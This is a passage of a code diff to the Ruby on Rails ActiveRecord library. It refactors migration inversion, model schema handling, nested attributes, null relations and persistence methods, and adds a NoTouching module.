+ end # end
+ EOV
+ end
+ end
+ end
+
+ include StraightReversions
+
+ def invert_drop_table(args, &block)
+ if args.size == 1 && block == nil
+ raise ActiveRecord::IrreversibleMigration, "To avoid mistakes, drop_table is only reversible if given options or a block (can be empty)."
+ end
+ super
end
def invert_rename_table(args)
[:rename_table, args.reverse]
end
- def invert_add_column(args)
- [:remove_column, args.first(2)]
+ def invert_remove_column(args)
+ raise ActiveRecord::IrreversibleMigration, "remove_column is only reversible if given a type." if args.size <= 2
+ super
end
def invert_rename_index(args)
@@ -91,34 +142,55 @@ module ActiveRecord
def invert_add_index(args)
table, columns, options = *args
- index_name = options.try(:[], :name)
- options_hash = index_name ? {:name => index_name} : {:column => columns}
+ options ||= {}
+
+ index_name = options[:name]
+ options_hash = index_name ? { name: index_name } : { column: columns }
+
[:remove_index, [table, options_hash]]
end
- def invert_remove_timestamps(args)
- [:add_timestamps, args]
- end
+ def invert_remove_index(args)
+ table, options = *args
- def invert_add_timestamps(args)
- [:remove_timestamps, args]
- end
+ unless options && options.is_a?(Hash) && options[:column]
+ raise ActiveRecord::IrreversibleMigration, "remove_index is only reversible if given a :column option."
+ end
- def invert_add_reference(args)
- [:remove_reference, args]
+ options = options.dup
+ [:add_index, [table, options.delete(:column), options]]
end
+
alias :invert_add_belongs_to :invert_add_reference
+ alias :invert_remove_belongs_to :invert_remove_reference
- def invert_remove_reference(args)
- [:add_reference, args]
+ def invert_change_column_null(args)
+ args[2] = !args[2]
+ [:change_column_null, args]
+ end
+
+ def invert_add_foreign_key(args)
+ from_table, to_table, add_options = args
+ add_options ||= {}
+
+ if add_options[:name]
+ options = { name: add_options[:name] }
+ elsif add_options[:column]
+ options = { column: add_options[:column] }
+ else
+ options = to_table
+ end
+
+ [:remove_foreign_key, [from_table, options]]
end
- alias :invert_remove_belongs_to :invert_remove_reference
# Forwards any missing method call to the \target.
def method_missing(method, *args, &block)
- @delegate.send(method, *args, &block)
- rescue NoMethodError => e
- raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
+ if @delegate.respond_to?(method)
+ @delegate.send(method, *args, &block)
+ else
+ super
+ end
end
end
end
diff --git a/activerecord/lib/active_record/migration/join_table.rb b/activerecord/lib/active_record/migration/join_table.rb
index ebf64cbcdc..05569fadbd 100644
--- a/activerecord/lib/active_record/migration/join_table.rb
+++ b/activerecord/lib/active_record/migration/join_table.rb
@@ -8,7 +8,7 @@ module ActiveRecord
end
def join_table_name(table_1, table_2)
- [table_1.to_s, table_2.to_s].sort.join("_").to_sym
+ ModelSchema.derive_join_table_name(table_1, table_2).to_sym
end
end
end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
index 85fb4be992..92ad9c9101 100644
--- a/activerecord/lib/active_record/model_schema.rb
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -29,11 +29,21 @@ module ActiveRecord
# :singleton-method:
# Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
# "people_basecamp"). By default, the suffix is the empty string.
+ #
+ # If you are organising your models within modules, you can add a suffix to the models within
+ # a namespace by defining a singleton method in the parent module called table_name_suffix which
+ # returns your chosen suffix.
class_attribute :table_name_suffix, instance_writer: false
self.table_name_suffix = ""
##
# :singleton-method:
+ # Accessor for the name of the schema migrations table. By default, the value is "schema_migrations"
+ class_attribute :schema_migrations_table_name, instance_accessor: false
+ self.schema_migrations_table_name = "schema_migrations"
+
+ ##
+ # :singleton-method:
# Indicates whether table names should be the pluralized versions of the corresponding class names.
# If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
# See table_name for the full rules on table/class naming. This is true, by default.
@@ -41,6 +51,19 @@ module ActiveRecord
self.pluralize_table_names = true
self.inheritance_column = 'type'
+
+ delegate :type_for_attribute, to: :class
+ end
+
+ # Derives the join table name for +first_table+ and +second_table+. The
+ # table names appear in alphabetical order. A common prefix is removed
+ # (useful for namespaced models like Music::Artist and Music::Record):
+ #
+ # artists, records => artists_records
+ # records, artists => artists_records
+ # music_artists, music_records => music_artists_records
+ def self.derive_join_table_name(first_table, second_table) # :nodoc:
+ [first_table.to_s, second_table.to_s].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
end
module ClassMethods
@@ -124,7 +147,7 @@ module ActiveRecord
@quoted_table_name = nil
@arel_table = nil
@sequence_name = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
- @relation = Relation.new(self, arel_table)
+ @relation = Relation.create(self, arel_table)
end
# Returns a quoted version of the table name, used to construct SQL statements.
@@ -147,6 +170,10 @@ module ActiveRecord
(parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
end
+ def full_table_name_suffix #:nodoc:
+ (parents.detect {|p| p.respond_to?(:table_name_suffix) } || self).table_name_suffix
+ end
+
# Defines the name of the table column which will store the class name on single-table
# inheritance situations.
#
@@ -184,7 +211,7 @@ module ActiveRecord
# given block. This is required for Oracle and is useful for any
# database which relies on sequences for primary key generation.
#
- # If a sequence name is not explicitly set when using Oracle or Firebird,
+ # If a sequence name is not explicitly set when using Oracle,
# it will default to the commonly used pattern of: #{table_name}_seq
#
# If a sequence name is not explicitly set when using PostgreSQL, it
@@ -203,67 +230,40 @@ module ActiveRecord
connection.schema_cache.table_exists?(table_name)
end
- # Returns an array of column objects for the table associated with this class.
- def columns
- @columns ||= connection.schema_cache.columns[table_name].map do |col|
- col = col.dup
- col.primary = (col.name == primary_key)
- col
- end
- end
-
- # Returns a hash of column objects for the table associated with this class.
- def columns_hash
- @columns_hash ||= Hash[columns.map { |c| [c.name, c] }]
+ def attributes_builder # :nodoc:
+ @attributes_builder ||= AttributeSet::Builder.new(column_types, primary_key)
end
def column_types # :nodoc:
- @column_types ||= decorate_columns(columns_hash.dup)
- end
-
- def decorate_columns(columns_hash) # :nodoc:
- return if columns_hash.empty?
-
- columns_hash.each do |name, col|
- if serialized_attributes.key?(name)
- columns_hash[name] = AttributeMethods::Serialization::Type.new(col)
- end
- if create_time_zone_conversion_attribute?(name, col)
- columns_hash[name] = AttributeMethods::TimeZoneConversion::Type.new(col)
- end
+ @column_types ||= columns_hash.transform_values(&:cast_type).tap do |h|
+ h.default = Type::Value.new
end
+ end
- columns_hash
+ def type_for_attribute(attr_name) # :nodoc:
+ column_types[attr_name]
end
# Returns a hash where the keys are column names and the values are
# default values when instantiating the AR object for this table.
def column_defaults
- @column_defaults ||= Hash[columns.map { |c| [c.name, c.default] }]
+ _default_attributes.to_hash
+ end
+
+ def _default_attributes # :nodoc:
+ @default_attributes ||= attributes_builder.build_from_database(
+ raw_default_values)
end
# Returns an array of column names as strings.
def column_names
- @column_names ||= columns.map { |column| column.name }
+ @column_names ||= columns.map(&:name)
end
# Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
# and columns used for single table inheritance have been removed.
def content_columns
- @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
- end
-
- # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
- # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
- # is available.
- def column_methods_hash #:nodoc:
- @dynamic_methods_hash ||= column_names.each_with_object(Hash.new(false)) do |attr, methods|
- attr_name = attr.to_s
- methods[attr.to_sym] = attr_name
- methods["#{attr}=".to_sym] = attr_name
- methods["#{attr}?".to_sym] = attr_name
- methods["#{attr}_before_type_cast".to_sym] = attr_name
- end
+ @content_columns ||= columns.reject { |c| c.name == primary_key || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
end
# Resets all the cached information about columns, which will cause them
@@ -297,23 +297,13 @@ module ActiveRecord
undefine_attribute_methods
connection.schema_cache.clear_table_cache!(table_name) if table_exists?
- @arel_engine = nil
- @column_defaults = nil
- @column_names = nil
- @columns = nil
- @columns_hash = nil
- @column_types = nil
- @content_columns = nil
- @dynamic_methods_hash = nil
- @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
- @relation = nil
- end
-
- # This is a hook for use by modules that need to do extra stuff to
- # attributes when they are initialized. (e.g. attribute
- # serialization)
- def initialize_attributes(attributes, options = {}) #:nodoc:
- attributes
+ @arel_engine = nil
+ @column_names = nil
+ @column_types = nil
+ @content_columns = nil
+ @default_attributes = nil
+ @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+ @relation = nil
end
private
@@ -334,12 +324,17 @@ module ActiveRecord
contained = contained.singularize if parent.pluralize_table_names
contained += '_'
end
- "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{table_name_suffix}"
+
+ "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{full_table_name_suffix}"
else
# STI subclasses always use their superclass' table.
base.table_name
end
end
+
+ def raw_default_values
+ columns_hash.transform_values(&:default)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index 4c9bd76d7c..8a2a06f2ca 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -58,7 +58,7 @@ module ActiveRecord
# It also allows you to update the avatar through the member:
#
# params = { member: { avatar_attributes: { id: '2', icon: 'sad' } } }
- # member.update_attributes params[:member]
+ # member.update params[:member]
# member.avatar.icon # => 'sad'
#
# By default you will only be able to set and update attributes on the
@@ -90,8 +90,9 @@ module ActiveRecord
# accepts_nested_attributes_for :posts
# end
#
- # You can now set or update attributes on an associated post model through
- # the attribute hash.
+ # You can now set or update attributes on the associated posts through
+ # an attribute hash for a member: include the key +:posts_attributes+
+ # with an array of hashes of post attributes as a value.
#
# For each hash that does _not_ have an <tt>id</tt> key a new record will
# be instantiated, unless the hash also contains a <tt>_destroy</tt> key
@@ -114,10 +115,10 @@ module ActiveRecord
# hashes if they fail to pass your criteria. For example, the previous
# example could be rewritten as:
#
- # class Member < ActiveRecord::Base
- # has_many :posts
- # accepts_nested_attributes_for :posts, reject_if: proc { |attributes| attributes['title'].blank? }
- # end
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: proc { |attributes| attributes['title'].blank? }
+ # end
#
# params = { member: {
# name: 'joe', posts_attributes: [
@@ -134,19 +135,19 @@ module ActiveRecord
#
# Alternatively, :reject_if also accepts a symbol for using methods:
#
- # class Member < ActiveRecord::Base
- # has_many :posts
- # accepts_nested_attributes_for :posts, reject_if: :new_record?
- # end
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: :new_record?
+ # end
#
- # class Member < ActiveRecord::Base
- # has_many :posts
- # accepts_nested_attributes_for :posts, reject_if: :reject_posts
+ # class Member < ActiveRecord::Base
+ # has_many :posts
+ # accepts_nested_attributes_for :posts, reject_if: :reject_posts
#
- # def reject_posts(attributed)
- # attributed['title'].blank?
- # end
- # end
+ # def reject_posts(attributed)
+ # attributed['title'].blank?
+ # end
+ # end
#
# If the hash contains an <tt>id</tt> key that matches an already
# associated record, the matching record will be modified:
@@ -183,6 +184,29 @@ module ActiveRecord
# member.save
# member.reload.posts.length # => 1
#
+ # Nested attributes for an associated collection can also be passed in
+ # the form of a hash of hashes instead of an array of hashes:
+ #
+ # Member.create(name: 'joe',
+ # posts_attributes: { first: { title: 'Foo' },
+ # second: { title: 'Bar' } })
+ #
+ # has the same effect as
+ #
+ # Member.create(name: 'joe',
+ # posts_attributes: [ { title: 'Foo' },
+ # { title: 'Bar' } ])
+ #
+ # The keys of the hash which is the value for +:posts_attributes+ are
+ # ignored in this case.
+ # However, it is not allowed to use +'id'+ or +:id+ for one of
+ # such keys, otherwise the hash will be wrapped in an array and
+ # interpreted as an attribute hash for a single post.
+ #
+ # Passing attributes for an associated collection in the form of a hash
+ # of hashes can be used with hashes generated from HTTP/HTML parameters,
+ # where there maybe no natural way to submit an array of hashes.
+ #
# === Saving
#
# All changes to models, including the destruction of those marked for
@@ -205,6 +229,27 @@ module ActiveRecord
# belongs_to :member, inverse_of: :posts
# validates_presence_of :member
# end
+ #
+ # Note that if you do not specify the <tt>inverse_of</tt> option, then
+ # Active Record will try to automatically guess the inverse association
+ # based on heuristics.
+ #
+ # For one-to-one nested associations, if you build the new (in-memory)
+ # child object yourself before assignment, then this module will not
+ # overwrite it, e.g.:
+ #
+ # class Member < ActiveRecord::Base
+ # has_one :avatar
+ # accepts_nested_attributes_for :avatar
+ #
+ # def avatar
+ # super || build_avatar(width: 200)
+ # end
+ # end
+ #
+ # member = Member.new
+ # member.avatar_attributes = {icon: 'sad'}
+ # member.avatar.width # => 200
module ClassMethods
REJECT_ALL_BLANK_PROC = proc { |attributes| attributes.all? { |key, value| key == '_destroy' || value.blank? } }
@@ -260,8 +305,8 @@ module ActiveRecord
options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
attr_names.each do |association_name|
- if reflection = reflect_on_association(association_name)
- reflection.options[:autosave] = true
+ if reflection = _reflect_on_association(association_name)
+ reflection.autosave = true
add_autosave_association_callbacks(reflection)
nested_attributes_options = self.nested_attributes_options.dup
@@ -269,23 +314,36 @@ module ActiveRecord
self.nested_attributes_options = nested_attributes_options
type = (reflection.collection? ? :collection : :one_to_one)
-
- # def pirate_attributes=(attributes)
- # assign_nested_attributes_for_one_to_one_association(:pirate, attributes, mass_assignment_options)
- # end
- generated_feature_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
- if method_defined?(:#{association_name}_attributes=)
- remove_method(:#{association_name}_attributes=)
- end
- def #{association_name}_attributes=(attributes)
- assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
- end
- eoruby
+ generate_association_writer(association_name, type)
else
raise ArgumentError, "No association found for name `#{association_name}'. Has it been defined yet?"
end
end
end
+
+ private
+
+ # Generates a writer method for this association. Serves as a point for
+ # accessing the objects in the association. For example, this method
+ # could generate the following:
+ #
+ # def pirate_attributes=(attributes)
+ # assign_nested_attributes_for_one_to_one_association(:pirate, attributes)
+ # end
+ #
+ # This redirects the attempts to write objects in an association through
+ # the helper methods defined below. Makes it seem like the nested
+ # associations are just regular associations.
+ def generate_association_writer(association_name, type)
+ generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
+ if method_defined?(:#{association_name}_attributes=)
+ remove_method(:#{association_name}_attributes=)
+ end
+ def #{association_name}_attributes=(attributes)
+ assign_nested_attributes_for_#{type}_association(:#{association_name}, attributes)
+ end
+ eoruby
+ end
end
# Returns ActiveRecord::AutosaveAssociation::marked_for_destruction? It's
@@ -319,20 +377,28 @@ module ActiveRecord
def assign_nested_attributes_for_one_to_one_association(association_name, attributes)
options = self.nested_attributes_options[association_name]
attributes = attributes.with_indifferent_access
+ existing_record = send(association_name)
- if (options[:update_only] || !attributes['id'].blank?) && (record = send(association_name)) &&
- (options[:update_only] || record.id.to_s == attributes['id'].to_s)
- assign_to_or_mark_for_destruction(record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes)
+ if (options[:update_only] || !attributes['id'].blank?) && existing_record &&
+ (options[:update_only] || existing_record.id.to_s == attributes['id'].to_s)
+ assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy]) unless call_reject_if(association_name, attributes)
elsif attributes['id'].present?
- raise_nested_attributes_record_not_found(association_name, attributes['id'])
+ raise_nested_attributes_record_not_found!(association_name, attributes['id'])
elsif !reject_new_record?(association_name, attributes)
- method = "build_#{association_name}"
- if respond_to?(method)
- send(method, attributes.except(*UNASSIGNABLE_KEYS))
+ assignable_attributes = attributes.except(*UNASSIGNABLE_KEYS)
+
+ if existing_record && existing_record.new_record?
+ existing_record.assign_attributes(assignable_attributes)
+ association(association_name).initialize_attributes(existing_record)
else
- raise ArgumentError, "Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?"
+ method = "build_#{association_name}"
+ if respond_to?(method)
+ send(method, assignable_attributes)
+ else
+ raise ArgumentError, "Cannot build association `#{association_name}'. Are you trying to build a polymorphic one-to-one association?"
+ end
end
end
end
@@ -371,20 +437,7 @@ module ActiveRecord
raise ArgumentError, "Hash or Array expected, got #{attributes_collection.class.name} (#{attributes_collection.inspect})"
end
- if limit = options[:limit]
- limit = case limit
- when Symbol
- send(limit)
- when Proc
- limit.call
- else
- limit
- end
-
- if limit && attributes_collection.size > limit
- raise TooManyRecords, "Maximum #{limit} records are allowed. Got #{attributes_collection.size} records instead."
- end
- end
+ check_record_limit!(options[:limit], attributes_collection)
if attributes_collection.is_a? Hash
keys = attributes_collection.keys
@@ -412,23 +465,44 @@ module ActiveRecord
association.build(attributes.except(*UNASSIGNABLE_KEYS))
end
elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s }
- unless association.loaded? || call_reject_if(association_name, attributes)
+ unless call_reject_if(association_name, attributes)
# Make sure we are operating on the actual object which is in the association's
# proxy_target array (either by finding it, or adding it if not found)
- target_record = association.target.detect { |record| record == existing_record }
-
+ # Take into account that the proxy_target may have changed due to callbacks
+ target_record = association.target.detect { |record| record.id.to_s == attributes['id'].to_s }
if target_record
existing_record = target_record
else
- association.add_to_target(existing_record)
+ association.add_to_target(existing_record, :skip_callbacks)
end
- end
- if !call_reject_if(association_name, attributes)
assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
end
else
- raise_nested_attributes_record_not_found(association_name, attributes['id'])
+ raise_nested_attributes_record_not_found!(association_name, attributes['id'])
+ end
+ end
+ end
+
+ # Takes in a limit and checks if the attributes_collection has too many
+ # records. It accepts limit in the form of symbol, proc, or
+ # number-like object (anything that can be compared with an integer).
+ #
+ # Raises TooManyRecords error if the attributes_collection is
+ # larger than the limit.
+ def check_record_limit!(limit, attributes_collection)
+ if limit
+ limit = case limit
+ when Symbol
+ send(limit)
+ when Proc
+ limit.call
+ else
+ limit
+ end
+
+ if limit && attributes_collection.size > limit
+ raise TooManyRecords, "Maximum #{limit} records are allowed. Got #{attributes_collection.size} records instead."
end
end
end
@@ -442,16 +516,21 @@ module ActiveRecord
# Determines if a hash contains a truthy _destroy key.
def has_destroy_flag?(hash)
- ConnectionAdapters::Column.value_to_boolean(hash['_destroy'])
+ Type::Boolean.new.type_cast_from_user(hash['_destroy'])
end
- # Determines if a new record should be build by checking for
+ # Determines if a new record should be rejected by checking
# has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
# association and evaluates to +true+.
def reject_new_record?(association_name, attributes)
has_destroy_flag?(attributes) || call_reject_if(association_name, attributes)
end
+ # Determines if a record with the particular +attributes+ should be
+ # rejected by calling the reject_if Symbol or Proc (if defined).
+ # The reject_if option is defined by +accepts_nested_attributes_for+.
+ #
+ # Returns false if there is a +destroy_flag+ on the attributes.
def call_reject_if(association_name, attributes)
return false if has_destroy_flag?(attributes)
case callback = self.nested_attributes_options[association_name][:reject_if]
@@ -462,8 +541,8 @@ module ActiveRecord
end
end
- def raise_nested_attributes_record_not_found(association_name, record_id)
- raise RecordNotFound, "Couldn't find #{self.class.reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
+ def raise_nested_attributes_record_not_found!(association_name, record_id)
+ raise RecordNotFound, "Couldn't find #{self.class._reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
end
end
end
diff --git a/activerecord/lib/active_record/no_touching.rb b/activerecord/lib/active_record/no_touching.rb
new file mode 100644
index 0000000000..dbf4564ae5
--- /dev/null
+++ b/activerecord/lib/active_record/no_touching.rb
@@ -0,0 +1,52 @@
+module ActiveRecord
+ # = Active Record No Touching
+ module NoTouching
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ # Lets you selectively disable calls to `touch` for the
+ # duration of a block.
+ #
+ # ==== Examples
+ # ActiveRecord::Base.no_touching do
+ # Project.first.touch # does nothing
+ # Message.first.touch # does nothing
+ # end
+ #
+ # Project.no_touching do
+ # Project.first.touch # does nothing
+ # Message.first.touch # works, but does not touch the associated project
+ # end
+ #
+ def no_touching(&block)
+ NoTouching.apply_to(self, &block)
+ end
+ end
+
+ class << self
+ def apply_to(klass) #:nodoc:
+ klasses.push(klass)
+ yield
+ ensure
+ klasses.pop
+ end
+
+ def applied_to?(klass) #:nodoc:
+ klasses.any? { |k| k >= klass }
+ end
+
+ private
+ def klasses
+ Thread.current[:no_touching_classes] ||= []
+ end
+ end
+
+ def no_touching?
+ NoTouching.applied_to?(self.class)
+ end
+
+ def touch(*)
+ super unless no_touching?
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
index 711fc8b883..807c301596 100644
--- a/activerecord/lib/active_record/null_relation.rb
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -6,7 +6,7 @@ module ActiveRecord
@records = []
end
- def pluck(_column_name)
+ def pluck(*column_names)
[]
end
@@ -23,7 +23,7 @@ module ActiveRecord
end
def size
- 0
+ calculate :size, nil
end
def empty?
@@ -39,23 +39,39 @@ module ActiveRecord
end
def to_sql
- @to_sql ||= ""
- end
-
- def where_values_hash
- {}
+ ""
end
def count(*)
- 0
+ calculate :count, nil
end
def sum(*)
- 0
+ calculate :sum, nil
+ end
+
+ def average(*)
+ calculate :average, nil
+ end
+
+ def minimum(*)
+ calculate :minimum, nil
+ end
+
+ def maximum(*)
+ calculate :maximum, nil
end
- def calculate(_operation, _column_name, _options = {})
- nil
+ def calculate(operation, _column_name, _options = {})
+ # TODO: Remove _options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ if [:count, :sum, :size].include? operation
+ group_values.any? ? Hash.new : 0
+ elsif [:average, :minimum, :maximum].include?(operation) && group_values.any?
+ Hash.new
+ else
+ nil
+ end
end
def exists?(_id = false)
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 4d1a9c94b7..1fc82f05d4 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -10,9 +10,6 @@ module ActiveRecord
# The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
# attributes on the objects that are to be created.
#
- # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
- # in the +options+ parameter.
- #
# ==== Examples
# # Create a single new object
# User.create(first_name: 'Jamie')
@@ -39,8 +36,25 @@ module ActiveRecord
end
end
+ # Creates an object (or multiple objects) and saves it to the database,
+ # if validations pass. Raises a RecordInvalid error if validations fail,
+ # unlike Base#create.
+ #
+ # The +attributes+ parameter can be either a Hash or an Array of Hashes.
+ # These describe which attributes to be created on the object, or
+ # multiple objects when given an Array of Hashes.
+ def create!(attributes = nil, &block)
+ if attributes.is_a?(Array)
+ attributes.collect { |attr| create!(attr, &block) }
+ else
+ object = new(attributes, &block)
+ object.save!
+ object
+ end
+ end
+
# Given an attributes hash, +instantiate+ returns a new instance of
- # the appropriate class.
+ # the appropriate class. Accepts only keys as strings.
#
# For example, +Post.all+ may return Comments, Messages, and Emails
# by storing the record's subclass in a +type+ attribute. By calling
@@ -49,10 +63,10 @@ module ActiveRecord
#
# See +ActiveRecord::Inheritance#discriminate_class_for_record+ to see
# how this "single-table" inheritance mapping is implemented.
- def instantiate(record, column_types = {})
- klass = discriminate_class_for_record(record)
- column_types = klass.decorate_columns(column_types)
- klass.allocate.init_with('attributes' => record, 'column_types' => column_types)
+ def instantiate(attributes, column_types = {})
+ klass = discriminate_class_for_record(attributes)
+ attributes = klass.attributes_builder.build_from_database(attributes, column_types)
+ klass.allocate.init_with('attributes' => attributes, 'new_record' => false)
end
private
@@ -67,13 +81,15 @@ module ActiveRecord
end
# Returns true if this object hasn't been saved yet -- that is, a record
- # for the object doesn't exist in the data store yet; otherwise, returns false.
+ # for the object doesn't exist in the database yet; otherwise, returns false.
def new_record?
+ sync_with_transaction_state
@new_record
end
# Returns true if this object has been destroyed, otherwise returns false.
def destroyed?
+ sync_with_transaction_state
@destroyed
end
@@ -97,6 +113,9 @@ module ActiveRecord
# <tt>before_*</tt> callbacks return +false+ the action is cancelled and
# +save+ returns +false+. See ActiveRecord::Callbacks for further
# details.
+ #
+ # Attributes marked as readonly are silently ignored if the record is
+ # being updated.
def save(*)
create_or_update
rescue ActiveRecord::RecordInvalid
@@ -116,8 +135,11 @@ module ActiveRecord
# the <tt>before_*</tt> callbacks return +false+ the action is cancelled
# and <tt>save!</tt> raises ActiveRecord::RecordNotSaved. See
# ActiveRecord::Callbacks for further details.
+ #
+ # Attributes marked as readonly are silently ignored if the record is
+ # being updated.
def save!(*)
- create_or_update || raise(RecordNotSaved)
+ create_or_update || raise(RecordNotSaved.new(nil, self))
end
# Deletes the record in the database and freezes this instance to
@@ -127,6 +149,8 @@ module ActiveRecord
# The row is simply removed with an SQL +DELETE+ statement on the
# record's primary key, and no callbacks are executed.
#
+ # Note that this will also delete records marked as <tt>readonly?</tt>.
+ #
# To enforce the object's +before_destroy+ and +after_destroy+
# callbacks or any <tt>:dependent</tt> association
# options, use <tt>#destroy</tt>.
@@ -144,7 +168,7 @@ module ActiveRecord
# and <tt>destroy</tt> returns +false+. See
# ActiveRecord::Callbacks for further details.
def destroy
- raise ReadOnlyRecord if readonly?
+ raise ReadOnlyRecord, "#{self.class} is marked as readonly" if readonly?
destroy_associations
destroy_row if persisted?
@destroyed = true
@@ -159,7 +183,7 @@ module ActiveRecord
# and <tt>destroy!</tt> raises ActiveRecord::RecordNotDestroyed. See
# ActiveRecord::Callbacks for further details.
def destroy!
- destroy || raise(ActiveRecord::RecordNotDestroyed)
+ destroy || raise(ActiveRecord::RecordNotDestroyed, self)
end
# Returns an instance of the specified +klass+ with the attributes of the
@@ -175,7 +199,7 @@ module ActiveRecord
def becomes(klass)
became = klass.new
became.instance_variable_set("@attributes", @attributes)
- became.instance_variable_set("@attributes_cache", @attributes_cache)
+ became.instance_variable_set("@changed_attributes", @changed_attributes) if defined?(@changed_attributes)
became.instance_variable_set("@new_record", new_record?)
became.instance_variable_set("@destroyed", destroyed?)
became.instance_variable_set("@errors", errors)
@@ -190,7 +214,11 @@ module ActiveRecord
# share the same set of attributes.
def becomes!(klass)
became = becomes(klass)
- became.public_send("#{klass.inheritance_column}=", klass.sti_name) unless self.class.descends_from_active_record?
+ sti_type = nil
+ if !klass.descends_from_active_record?
+ sti_type = klass.sti_name
+ end
+ became.public_send("#{klass.inheritance_column}=", sti_type)
became
end
@@ -202,6 +230,10 @@ module ActiveRecord
# * updated_at/updated_on column is updated if that column is available.
# * Updates all the attributes that are dirty in this object.
#
+ # This method raises an +ActiveRecord::ActiveRecordError+ if the
+ # attribute is marked as readonly.
+ #
+ # See also +update_column+.
def update_attribute(name, value)
name = name.to_s
verify_readonly_attribute(name)
@@ -212,7 +244,7 @@ module ActiveRecord
# Updates the attributes of the model from the passed-in hash and saves the
# record, all wrapped in a transaction. If the object is invalid, the saving
# will fail and false will be returned.
- def update_attributes(attributes)
+ def update(attributes)
# The following transaction covers any possible database side-effects of the
# attributes assignment. For example, setting the IDs of a child collection.
with_transaction_returning_status do
@@ -221,9 +253,11 @@ module ActiveRecord
end
end
- # Updates its receiver just like +update_attributes+ but calls <tt>save!</tt> instead
+ alias update_attributes update
+
+ # Updates its receiver just like +update+ but calls <tt>save!</tt> instead
# of +save+, so an exception is raised if the record is invalid.
- def update_attributes!(attributes)
+ def update!(attributes)
# The following transaction covers any possible database side-effects of the
# attributes assignment. For example, setting the IDs of a child collection.
with_transaction_returning_status do
@@ -232,28 +266,31 @@ module ActiveRecord
end
end
- # Updates a single attribute of an object, without having to explicitly call save on that object.
- #
- # * Validation is skipped.
- # * Callbacks are skipped.
- # * updated_at/updated_on column is not updated if that column is available.
- #
- # Raises an +ActiveRecordError+ when called on new objects, or when the +name+
- # attribute is marked as readonly.
+ alias update_attributes! update!
+
+ # Equivalent to <code>update_columns(name => value)</code>.
def update_column(name, value)
update_columns(name => value)
end
- # Updates the attributes from the passed-in hash, without having to explicitly call save on that object.
+ # Updates the attributes directly in the database issuing an UPDATE SQL
+ # statement and sets them in the receiver:
#
- # * Validation is skipped.
+ # user.update_columns(last_request_at: Time.current)
+ #
+ # This is the fastest way to update attributes because it goes straight to
+ # the database, but take into account that in consequence the regular update
+ # procedures are totally bypassed. In particular:
+ #
+ # * Validations are skipped.
# * Callbacks are skipped.
- # * updated_at/updated_on column is not updated if that column is available.
+ # * +updated_at+/+updated_on+ are not updated.
#
- # Raises an +ActiveRecordError+ when called on new objects, or when at least
- # one of the attributes is marked as readonly.
+ # This method raises an +ActiveRecord::ActiveRecordError+ when called on new
+ # objects, or when at least one of the attributes is marked as readonly.
def update_columns(attributes)
- raise ActiveRecordError, "can not update on a new record object" unless persisted?
+ raise ActiveRecordError, "cannot update a new record" if new_record?
+ raise ActiveRecordError, "cannot update a destroyed record" if destroyed?
attributes.each_key do |key|
verify_readonly_attribute(key.to_s)
@@ -319,37 +356,83 @@ module ActiveRecord
toggle(attribute).update_attribute(attribute, self[attribute])
end
- # Reloads the attributes of this object from the database.
- # The optional options argument is passed to find when reloading so you
- # may do e.g. record.reload(lock: true) to reload the same record with
- # an exclusive row lock.
+ # Reloads the record from the database.
+ #
+ # This method finds record by its primary key (which could be assigned manually) and
+ # modifies the receiver in-place:
+ #
+ # account = Account.new
+ # # => #<Account id: nil, email: nil>
+ # account.id = 1
+ # account.reload
+ # # Account Load (1.2ms) SELECT "accounts".* FROM "accounts" WHERE "accounts"."id" = $1 LIMIT 1 [["id", 1]]
+ # # => #<Account id: 1, email: 'account@example.com'>
+ #
+ # Attributes are reloaded from the database, and caches busted, in
+ # particular the associations cache.
+ #
+ # If the record no longer exists in the database <tt>ActiveRecord::RecordNotFound</tt>
